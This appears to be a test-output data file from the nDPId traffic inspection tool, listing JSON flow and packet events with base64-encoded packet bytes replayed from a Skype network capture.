+00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1528,"source":"skype.pcap","alias":"nDPId-test","flow_id":231,"flow_packet_id":1,"flow_first_seen":1431969707326,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.166","src_port":50103,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":231,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1528,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969707,"pkt_ts_usec":326642,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA1ORAAEAGTF\/AqAEiQAQXpsO3Abu4qWeDAAAAALAC\/\/9x6QAAAgQFtAEDAwUBAQgKPiOH3AAAAAAEAgAA"} +00437{"flow_id":227,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1529,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969707,"pkt_ts_usec":344703,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA81tRAAEAGSnPAqAEiQAQXpsOznFablHVW59gF64AYECo4SwAAAQEICj4jh+5MP03dvRFcC9M5aYU="} +00513{"flow_id":229,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1530,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969707,"pkt_ts_usec":410177,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":95,"pkt":"0NQSxnP1PBXCt3IOCABFAABzQslAAEAGrQnAqAEinTfrsMO1AbsGcnEY78av6oAYECxj9AAAAQEICj4jiC9F6hY3sJ5M2vPvqN11yHQsLBYX78Fbyq3x3hepbRjJ8YnhMbQPilSaKG1RU\/yixUsT4fxcBNvK\/vN9qGK86WKCmteS"} +00437{"flow_id":231,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1531,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969707,"pkt_ts_usec":546419,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYGK0hABBemwKgBIgG7w7ccEsw5uKlnhKASOJDGigAAAgQFrAQCCApMP087PiOH3AEDAwk="} +00425{"flow_id":231,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1532,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969707,"pkt_ts_usec":546527,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0EpBAAEAGDsDAqAEiQAQXpsO3Abu4qWeEHBLMOoAQECwc2gAAAQEICj4jiLdMP087"} +00527{"flow_id":231,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1533,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969707,"pkt_ts_usec":546642,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB80sRAAEAGTkPAqAEiQAQXpsO3Abu4qWeEHBLMOoAYECw\/AAAAAQEICj4jiLdMP087gEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIC\/ZIXyO7BhHne8\/QpziFm2"} +00438{"flow_id":226,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1534,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969707,"pkt_ts_usec":809048,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8maNAAEAGvwfAqAEiQTffD8OynFri9dCOh7IvWoAYECkYyAAAAQEICj4jib0uudJYB9ShBDhY9ug="} +00426{"flow_id":231,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1535,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969707,"pkt_ts_usec":810392,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0g0tAADYGqARABBemwKgBIgG7w7ccEsw6uKlnzIAQAB0sagAAAQEICkw\/T3I+I4i3"} +00498{"flow_id":231,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1536,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969707,"pkt_ts_usec":810476,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"0NQSxnP1PBXCt3IOCABFAABlKB5AAEAG+QDAqAEiQAQXpsO3Abu4qWfMHBLMOoAYECwivwAAAQEICj4jib5MP09yMopg3AEWOIVra5cGzJjAiCstkrxYMtnVJJjcl7xva4xaFu\/8chGd\/faIMJs3g\/Ld1w=="} +00438{"flow_id":198,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1537,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969707,"pkt_ts_usec":828245,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8hJxAAEAG1HDAqAEinTeCrcOanEPZ9QBBKvQZMIAZECoY0wAAAQEICj4jic9Op72xFzP0mFIZu5U="} +00503{"flow_id":230,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1538,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969707,"pkt_ts_usec":921638,"pkt_caplen":123,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":123,"pkt_l4_len":89,"pkt":"0NQSxnP1PBXCt3IOCABFAABtSeNAAEAGDpfAqAEiQTffD8O2Abu4rlOMyHp2R4AYECyE1gAAAQEICj4jiiwuudPpI5bq6HMzIBDTkc9VEw4iCS9khhJElSKv7lgEA0wtqe8DbuphtcTug+qyZjVGz2PfJmKteoTIZ7xX"} +00537{"flow_id":209,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1540,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969708,"pkt_ts_usec":230581,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"PBXCt3IO0NQSxnP1CABFAACDm4BAADYGXladN+ucwKgBIgG7w6ATTYBa99S2F4AYAB2OHwAAAQEICkxZK7A+I0j5FgMBAEoCAABGAwFAG+SGAq3gKeF3dOVEucmctDExXgLdd50VSpYJul2ocCAcoOT2TGNRri+OTuHmdmoKiNXYxVyumMXkgfIqab+QWAAFAA=="} +00410{"flow_id":209,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1541,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969708,"pkt_ts_usec":230648,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoEWxAAEAG3sXAqAEinTfrnMOgAbv31LYXAAAAAFAEAADx+QAA"} +00514{"flow_id":229,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1550,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969708,"pkt_ts_usec":377818,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":95,"pkt":"0NQSxnP1PBXCt3IOCABFAABzQqZAAEAGrSzAqAEinTfrsMO1AbsGcnEY78av6oAYECxgLwAAAQEICj4ji\/RF6hY3sJ5M2vPvqN11yHQsLBYX78Fbyq3x3hepbRjJ8YnhMbQPilSaKG1RU\/yixUsT4fxcBNvK\/vN9qGK86WKCmteS"} +00438{"flow_id":204,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1553,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969708,"pkt_ts_usec":422032,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA83CNAAEAGfObAqAEinTeCsMOdnFaE5idx8gQMboAZECmvYwAAAQEICj4jjCBOpRO7eWBA9+mp+gg="} +00465{"flow_id":228,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1554,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969708,"pkt_ts_usec":547276,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"0NQSxnP1PBXCt3IOCABFAABQ3zRAAEAG353AqAEib91KLsO0AbvHHCI2d3qYAIAYECy80QAAAQEICj4jjJ1NhWcM7XBpLOel2RuchIud8UB4C3rjlSPUGdRd5JmqTw=="} +00438{"flow_id":227,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1555,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969708,"pkt_ts_usec":563084,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8MS5AAEAG8BnAqAEiQAQXpsOznFablHVW59gF64AYECozjQAAAQEICj4jjKxMP03dvRFcC9M5aYU="} +00439{"flow_id":224,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1556,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969708,"pkt_ts_usec":599241,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8WZNAAEAGZVPAqAEib91KLsOwnFtwFACeyWA\/QIAYECqroAAAAQEICj4jjNBNhWV5MasRplDVU5Q="} +00438{"flow_id":225,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1557,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969708,"pkt_ts_usec":642563,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8PdtAAEAGsi7AqAEinTfrsMOxnFbKZQiU5a3ICYAYECmQxAAAAQEICj4jjPtF6hSkCDlkOMMwVQQ="} +00439{"flow_id":217,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1558,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969708,"pkt_ts_usec":681729,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8UcdAAEAGnmDAqAEinTfrksOogQnO4dIux\/F784AYECrQ2gAAAQEICj4jjSJMXR0I+8v6kCGg1MM="} +00438{"flow_id":215,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1560,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969708,"pkt_ts_usec":763166,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8zFVAAEAG7zDAqAEib91NjsOmnFcVc99Ix3A4pYAYECmBvQAAAQEICj4jjXNNjGBDwr8qfxKhl3o="} +00498{"flow_id":231,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1561,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969709,"pkt_ts_usec":211220,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"0NQSxnP1PBXCt3IOCABFAABluRFAAEAGaA3AqAEiQAQXpsO3Abu4qWfMHBLMOoAYECwdTAAAAQEICj4jjzFMP09yMopg3AEWOIVra5cGzJjAiCstkrxYMtnVJJjcl7xva4xaFu\/8chGd\/faIMJs3g\/Ld1w=="} +00503{"flow_id":230,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1564,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969709,"pkt_ts_usec":427398,"pkt_caplen":123,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":123,"pkt_l4_len":89,"pkt":"0NQSxnP1PBXCt3IOCABFAABtKiRAAEAGLlbAqAEiQTffD8O2Abu4rlOMyHp2R4AYECx++gAAAQEICj4jkAguudPpI5bq6HMzIBDTkc9VEw4iCS9khhJElSKv7lgEA0wtqe8DbuphtcTug+qyZjVGz2PfJmKteoTIZ7xX"} +00472{"flow_id":207,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1565,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969709,"pkt_ts_usec":460620,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"0NQSxnP1PBXCt3IOCABFAABUpFVAAEAGtJ\/AqAEinTeCrcOeAbsMd48zg+uInYAZECxKGwAAAQEICj4jkClOp79EOIZhDgpM596b5urYTkyt6EokOB\/jfhHHccIbekKWmsc="} +00467{"flow_id":207,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1566,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969709,"pkt_ts_usec":588674,"pkt_caplen":96,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":96,"pkt_l4_len":62,"pkt":"PBXCt3IO0NQSxnP1CABFAABSN+VAADcGKhKdN4KtwKgBIgG7w56D64jsDHePVIAZAB2vQgAAAQEICk6n0Rc+I5Ap7ZLqD1X1\/3YzXyXxbDlPgn3982+LNqD135SYTDHo"} +00411{"flow_id":207,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1567,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969709,"pkt_ts_usec":588788,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAolPFAAEAGxC\/AqAEinTeCrcOeAbsMd49UAAAAAFAEAABtDAAA"} +00457{"flow_id":176,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1569,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969709,"pkt_ts_usec":776102,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLCRsAAEAR7hPAqAEiwKgBAeQAADUAN6zvm+wBAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDEzAXIFc2t5cGUDbmV0AAAcAAE="} +00458{"flow_id":175,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1570,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969709,"pkt_ts_usec":776353,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLXsEAAEARmG3AqAEiwKgBAdRHADUAN3UY\/nwBAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDEzAXIFc2t5cGUDbmV0AAABAAE="} +00462{"flow_id":208,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1571,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969709,"pkt_ts_usec":776930,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"0NQSxnP1PBXCt3IOCABFAABOaJJAAEAGhvfAqAEi1cezjsOfAbt1SdzkHtgDwIAZECzETgAAAQEICj4jkWNQDMF3EmQmnx6sH6BO82garWUNa027XrMWTbG33jE="} +00508{"flow_id":213,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1573,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969710,"pkt_ts_usec":84899,"pkt_caplen":124,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":124,"pkt_l4_len":90,"pkt":"0NQSxnP1PBXCt3IOCABFAABuF2pAAEAGQW7AqAEinTeCsMOhAbuvVQflSOC7goAZECzkAwAAAQEICj4jkpZOpRVM44Sb+UDZvBPvyND8nEiSDIgGrYJQDfLAHfdrnXRK8kGdb7zASRkE5IOUEx\/7yIb01lebNVn49aeUJw=="} +00514{"flow_id":229,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1574,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969710,"pkt_ts_usec":116098,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":95,"pkt":"0NQSxnP1PBXCt3IOCABFAABz5JdAAEAGCzvAqAEinTfrsMO1AbsGcnEY78av6oAYECxZbgAAAQEICj4jkrVF6hY3sJ5M2vPvqN11yHQsLBYX78Fbyq3x3hepbRjJ8YnhMbQPilSaKG1RU\/yixUsT4fxcBNvK\/vN9qGK86WKCmteS"} +00481{"flow_id":213,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1575,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969710,"pkt_ts_usec":209338,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"PBXCt3IO0NQSxnP1CABFAABZrtBAADcGsxydN4KwwKgBIgG7w6FI4LvRr1UIIIAZAB0WMgAAAQEICk6lJsA+I5KWctp5OdC757z9AEOhXK35rpPpf4qDkPJrBG4QVkvBph3U9\/hTHg=="} +00410{"flow_id":213,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1576,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969710,"pkt_ts_usec":209449,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoUNpAAEAGCETAqAEinTeCsMOhAbuvVQggAAAAAFAEAABRXAAA"} +00465{"flow_id":228,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1577,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969710,"pkt_ts_usec":229250,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"0NQSxnP1PBXCt3IOCABFAABQ5DxAAEAG2pXAqAEib91KLsO0AbvHHCI2d3qYAIAYECy2SQAAAQEICj4jkyVNhWcM7XBpLOel2RuchIud8UB4C3rjlSPUGdRd5JmqTw=="} +00426{"flow_id":215,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1578,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969710,"pkt_ts_usec":530011,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0jnBAAEAGLR7AqAEib91NjsOmnFcVc99Qx3A4pYARECkSQgAAAQEICj4jlFBNjGBD"} +00426{"flow_id":216,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1579,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969710,"pkt_ts_usec":530012,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0od5AAEAGGbDAqAEib91NjsOnAbtL1T2HvTzTb4ARECyGAwAAAQEICj4jlFBNjGHr"} +00438{"flow_id":226,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1580,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969710,"pkt_ts_usec":608219,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8fY1AAEAG2x3AqAEiQTffD8OynFri9dCOh7IvWoAYECkN6AAAAQEICj4jlJ0uudJYB9ShBDhY9ug="} +00498{"flow_id":231,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1581,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969710,"pkt_ts_usec":615140,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"0NQSxnP1PBXCt3IOCABFAABlhqhAAEAGmnbAqAEiQAQXpsO3Abu4qWfMHBLMOoAYECwX2gAAAQEICj4jlKNMP09yMopg3AEWOIVra5cGzJjAiCstkrxYMtnVJJjcl7xva4xaFu\/8chGd\/faIMJs3g\/Ld1w=="} +00537{"flow_id":174,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1583,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969710,"pkt_ts_usec":648507,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"PBXCt3IO0NQSxnP1CABFAACDJs1AADMGiQadNzigwKgBIgG7w5UO87UxP73XuYAYAB1B2AAAAQEICk1+rpg+IyozFgMBAEoCAABGAwFAG+SGAq3gKeF3dOVEucmctDExXgLdd50VSpYJul2ocCAcoOT2TGNRri+OTuHmdmoKiNXYxVyumMXkgfIqab+QWAAFAA=="} +00411{"flow_id":174,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1584,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969710,"pkt_ts_usec":648606,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoB+JAAEAGm0zAqAEinTc4oMOVAbs\/vde5AAAAAFAEAAA7dwAA"} +00522{"flow_id":221,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1585,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969710,"pkt_ts_usec":670432,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"0NQSxnP1PBXCt3IOCABFAAB4jZhAAEAGYlPAqAEinTfrksOrAbuMrH6YAEk0NoAYECygoAAAAQEICj4jlNlMXR6aqu6O72aW6xh35z3AV+yJQQlzV\/czZ3tOI38nltt4UVqSgJEIfqzGP6jAcvysYI+CHXjgzzv6OFuoeDW4oVrEywZ4EAM="} +00438{"flow_id":227,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1586,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969710,"pkt_ts_usec":806602,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8QptAAEAG3qzAqAEiQAQXpsOznFablHVW59gF64AYECoq2AAAAQEICj4jlWFMP03dvRFcC9M5aYU="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1587,"source":"skype.pcap","alias":"nDPId-test","flow_id":232,"flow_packet_id":1,"flow_first_seen":1431969710853,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.28","src_port":50108,"dst_port":40009,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":232,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1587,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969710,"pkt_ts_usec":853799,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAz19AAEAG2DnAqAEinTg0HMO8nEnrI3UzAAAAALAC\/\/8PzQAAAgQFtAEDAwUBAQgKPiOVkAAAAAAEAgAA"} +00438{"flow_id":222,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1588,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969710,"pkt_ts_usec":911790,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8kI1AAEAGyJHAqAEinTeCm8OsnFQhlXBwFdEIa4AYECkrYwAAAQEICj4jlclOs6ExgUZfklcFTZE="} +00438{"flow_id":232,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1589,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969711,"pkt_ts_usec":97782,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADMGtJ2dODQcwKgBIpxJw7we\/\/hU6yN1NKASOJAgZAAAAgQFrAQCCApMXGQgPiOVkAEDAwk="} 